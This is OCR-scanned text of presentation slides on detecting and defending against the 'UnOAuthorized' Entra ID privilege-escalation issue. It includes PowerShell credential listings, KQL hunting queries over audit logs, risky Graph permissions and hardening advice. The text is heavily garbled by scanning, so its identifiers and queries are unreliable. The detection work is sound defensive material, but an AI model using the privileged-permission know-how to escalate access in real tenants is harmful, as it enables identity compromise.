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PS C:\Temp>  (Get-MGServicePrincipal -Filter "Appld eq
CustomKeyIdentifier DisplayName EndDateTime

{84, 101, 115, 116..} CN=com.foo.bar 6/13/2025 8:11:52
{84, 101, 115, 116..} CN=com.foo.bar 6/13/2025 8:11:52

PS C:\Temp> |(Get-MGServicePrincipal -Filter "Appld eq
CustomKeyIdentifier DisplayName EndDateTime
10/10/2024 3:04:32 AM

8/14/2024 7:23:57 PM
8/5/2024 11:27:12 PM

PS C:\Temp> |

Hunting for suspicious

'01cb2876-7ebd-daald-9cc9-d28bdud359a9'") .KeyCredentials
Key Keyld StartDateTime

PM c899c5a7-212a-432d-a757-b95f9e7c2936 6/13/2024 8:11:52 PM
PM e3fef06b-0a7d-4c86-a87c-8100a50ablb7 6/13/2024 8:11:52 PM

'01cb2876-T7ebd-daald-9cc9-d28bdudd359a9'") .PasswordCredentials
Hint Keyld SecretText StartDateTim
LoU f1546c38-fa8e-uUudduy-94ba-9258ffe6195c 4/10/2024 3..

sDN aad0b6fa-99ea-Uafa-adib-a901d2399413 2/14/2024 8..
/sI 17abf52a-f6f7-U34a-9254-7d86ble5c6ab 2/6/2024 12..

credentials



e ™
[ 1 . | — I =
m ._Time range : Custom | Save v |2 Share v — Newalertrule = Export v 5 Pinto Vv = Format query

1 |AuditLogs
2 || where OperationName == "Add service principal credentials"
3 || where TargetResources[@].displayName == "Device Registration Service"
4
4

. Results  Chart
—_— -
TimeGenerated [UTC] Ty Resourceld OperationName OperationVersion Category ResultSignature
> | 6/5/2024, 4:30:45.999 PM /tenants/11ae06df-10e8-4b9%e-bf66-2a91f4955339/provider... Add service principal credentials 1.0 ApplicationManagement None N

Siile  * | -~

i

sw



Time range : Last 24 hours Save v |2 Share v —+ Newalertrule = Export v 52 Pinto v == Format query

1 |AuditLogs
2 || where parse json(tostring(InitiatedBy.app)).displayName == "Device Registration Service"
3

. Results Chart

E
TimeGenerated [UTC] Ty Resourceld OperationName OperationVersion Category ResultSignature
b4
> | 6/5/2024, 4:56:08.988 PM /tenants/11ae06df-10e8-4b9%e-bf66-2a91f4955339/provider...  Add member to role 1.0 RoleManagement None
o - . , . d . 1

’
Hunting for suspicious actions

- -




Full details on UnOAuthorized

sl.entra.ms/unoauthorized



Impact on
third-party
applications
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Impact on third-party applications

Does this finding
impact non-Microsoft
applications?

NoO



Internal AuthZ
System
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Impact on third-party applications

Does this finding Can organizations
impact non-Microsoft create scenarios that
applications? mimic these findings?

NO YeS



OAuth
Scopes

Roles




NEW

Risky application permissions
AppRoleAssignment.ReadWrite.All

RoleManagement.ReadWrite.Directory
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RoleManagement.ReadWrite.Directory

Allows the app to read and manage the role-based access
control (RBAC) settings for your company's directory, without a
signed-in user. This includes instantiating directory roles and
managing directory role membership, and reading directory role
templates, directory roles and memberships.

s ? T

Role.Management.ReadWrite.Directory



AppRoleAssignment.ReadWrite.All
Allows the app to manage permission grants for application

permissions to any API (including Microsoft Graph) and
application assignments for any app, without a signed-in user

—3 K o 8
L ~ah © &
_ |

AppRoleAssignment.ReadWrite.All
© Role.Management.ReadWrite.Directory
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App instance property lock

WM 3 party SaaS application
HX App instance property lock on credentials
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Workload Identities Premium

DT

Entra ID

Trusted Network

Conditional Access

Location Evaluation

Unknown Network

Risk Detection

|dentity Protection
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Check your tenant for UnOAuthorized
— it's easy (but not a guarantee)

Third-party and business privileged
apps must be properly defended

Organizations need to invest in their
people managing identity
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